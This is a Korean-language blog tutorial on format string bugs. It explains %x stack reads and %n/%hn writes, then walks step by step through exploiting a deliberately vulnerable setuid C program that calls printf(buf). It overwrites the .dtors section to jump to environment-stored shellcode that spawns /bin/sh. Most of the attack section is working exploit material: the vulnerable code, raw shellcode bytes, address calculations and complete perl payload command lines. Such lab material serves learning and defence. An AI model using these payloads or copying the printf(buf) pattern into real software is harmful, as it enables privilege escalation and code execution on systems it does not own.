Hacking/System Hacking

Format String Bug(FSB)

나노콛 2019. 9. 27. 00:56

Format String 이란
- 문자열 함수에서 사용하는 형식 문자열입니다.

Printf("hacker %s\n",i);   Format String

Format String에는 특수 이스케이프 시퀀스가 존재합니다.
%d 10진수
%u 부호 없는 10진수
%x 16진수
%s 문자열
%n 지금까지 출력한 바이트 수
%c 문자

/* format string 정상적인 사용 good.c*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
    char buf[20];
    strcpy(buf, argv[1]);
    printf("%s\n",buf);
    return 0;
}

format string을 한 문자씩 읽어옴
format 인자가 아니라면 출력
format 인자(%s,%x 등) 발견 시 ESP+4의 값의 포인터부터 null 만날 때까지 출력함


Format String Bug

/* format string Bug  bad.c*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
    char buf[20];
    strcpy(buf, argv[1]);
    printf(buf);
    return 0;
}

실행 확인


실행은 이상 없이 둘 다 됩니다.
이렇게 실행이 잘 되는 이유가 인자의 개수가 일치하지 않기 때문입니다.

인자 개수 불일치로 위의 현상과 같은 버그가 발생합니다.
%x(format 인자) 발견 시 esp+4에 있는 값을 읽어오게 됩니다.


만약에 format 인자를 2개 넣는다면 어떻게 될까요?

%x 한번 해서 bffffb63의 값을 %x 한 번 더 해서 42015481의 값을 읽어오게 되었습니다.

%x3번 한 것과 %x4번 한 것에 차이는
%x4번을 하니 61616161 (16진수로 a는 61)
직접 입력한 값(buf)이 나오게 되었습니다.

환경 변수 PATH 출력

 


환경 변수 주소 얻는 코드

/* env.c */
#include <stdlib.h>

int main(int argc, char* argv[])
{
        char * addr;
        addr = getenv(argv[1]); //getenv 환경변수 주소 구하는 함수
        printf("located is %p\n",addr);
        return 0;
}



%n의 활용
- %n이 나오기 전까지 출력된 글자 수 계산
- 스택의 다음 4byte에 있는 값을 주소로 참고하여 글자 수(byte 수) 입력

 지금까지의 정보를 정리하면
1. %x를 이용하여 스택의 값을 읽을 수 있다.
2. %n을 이용하여 지정한 곳에 값을 쓸 수 있다.
결론: RET에 shellcode 주소를 덮어써서 공격이 가능

그러나 ASLR 보호 기법으로 인해 RET의 주소가 랜덤으로 바뀌면서 공격이 불가능
이 문제를 해결하기 위해서. dtros의 영역을 이용하게 된다.


.dtors란
GNU Compiler(gcc)가 컴파일 할 때 생성되는 영역
쓰기 가능
.ctors (생성자)  - main()이 실행되기 전에 끝나기 때문에 이용할 수 없다.
main()
.dtros (소멸자)


Format String Bug Attack

1. %x을 이용하여 buf 위치 구하기
*buf의 위치는 공격시 원하는 주소에 값을 넣기 위해 사용되는 위치

2. %(임의 정수) c + %n 을 이용하면 원하는 주소에 원하는 값을 삽입 가능

%n

4byte

%hn

2byte


ex) %100c%n - 100자리를 다음 4바이트 값을 주소로 참고하여 해당 주소에 100을 입력

%(임의정수)c+%n의 원리

gdb -q fsb

 

break를 main+55(print 전) main+60(print 후) 걸어서
값이 어떻게 들어가는지 확인해 보겠습니다.

print 전

 

print 후

 

43690은 16진수로 aaaa입니다.
%(16진수)c+%n으로하면 다음 4byte 주소에 해당 16 진수의 값이 문자로 들어가게 됩니다.

3. .dtors 주소 구하기

objdump -s -j .dtors ./bof

 

.dtors의 위치는 8049530입니다.
.dtors의 시작은 FFFFFFFF이고 끝은 00000000입니다.
시작과 끝 사이에 위치한 값(표시한 곳)이 실행될 함수의 위치입니다.
위치는 8049530이지만 표시한 곳의 값은 4바이트가 + 된 주소입니다. 8049534

공격 준비

/* fsb.c */
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
        char buf[256];
        strcpy(buf,argv[1]);
        printf(buf);
        return 0;
}

setuid bit 설정 후 일반계정으로 이동
LANG 환경 변수 한글로 변경 (export LANG="ko_KR.euckr")
환경 변수에 쉘코드 저장(export aa=`perl -e 'print "쉘코드"'`)

\x31\xc0\x89\xc3\xb0\x17\xcd\x80\xeb\x0f\x5e\x31\xc0\x50\x89\xe2\x56\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

환경 변수 주소 구하기 ./env aa

0xbffffbfe

 

이 쉘코드가 삽입된 환경 변수 주소를
변하지 않은 주소. dtors에 넣어주어야 하는데요

.dtors는 아까 구했지만 다시 본다면

8049534가 됩니다.
이 주소에 이 0xbffffbfe 쉘코드 주소를 넣어야 합니다.
이 주소를 16진수로 변경해야 하는데
3221224446이란 값이 나옵니다.
이 32억의 수가 너무 커서 한 번에 들어가지 못하기 때문에
2 바이트씩 잘라서 넣어야 합니다.

쉘코드
bfff - 49151
fbfe - 64510

셸 코드를 위와 같이 넣게 됩니다.

fsb에서 str[256]의 위치를 찾습니다.

%08x는 8자리 맞춰주기 위해서

 


공격 구문
AAAA\x34\x95\x04\x08AAAA\x36\x95\x04\x08%8x%8x%8x%64510(-40)c%hn%49151c%hn
AAAA는 3번째%x 다음 %64510c자리에서 format 인자를 사용했기 때문입니다.
64510에서 40을 빼주는 이유는  앞의 문자들을 다 계산하기 때문에 앞의 문자 개수만큼 값을 빼야 합니다.

AAAA\x34\x95\x04\x08AAAA\x36\x95\x04x\08%8x%8x%8x%64470c%hn%49151c%hn
뒤의 %49151c 에서는 앞의 문자를 다 빼줘야 하는데 49151-(64470+40)
값이 작기 때문에 문제가 나오게 됩니다.
이 문제를 해결하기 위해서는 49151의 문자 bfff에 앞에 1을 붙여 1bfff로 만들고 계산을 합니다.
이것이 가능한 이유는 hn으로 2바이트 삽입이 되기 때문에 그렇습니다.
1bfff - 114687

114687 - 64470+40 = 50177
AAAA\x34\x95\x04\x08AAAA\x36\x95\x04\x08%8x%8x%8x%64470c%hn%50177c%hn
이렇게 코드가 완성이 됩니다.

./fsb `perl -e 'print "AAAA","\x34\x95\x04\x08","AAAA","\x36\x95\x04\x08","%8x%8x%8x","%64470c%hn","%50177c%hn"'`

 


혹은
위의 1bfff의 작업을 하지 않으려면
bfff를 먼저 오게 할 수도 있습니다.

그렇게 되면. dtors의 주소도 순서가 바뀌게 됩니다.

먼저 주소 36을 먼저 이용하고 34를 쓰면 ffbf fbfe 순으로 들어가게 할 수 있습니다.


.dtors 08049534

쉘코드 주소 bffffbfe 
bfff - 49151
fbfe - 64510

49151-40 = 49111
64510-49151 = 15359

./fsb `perl -e 'print "AAAA","\x36\x95\x04\x08","AAAA","\x34\x95\x04\x08","%8x%8x%8x","%49111c%hn","%15359c%hn"'`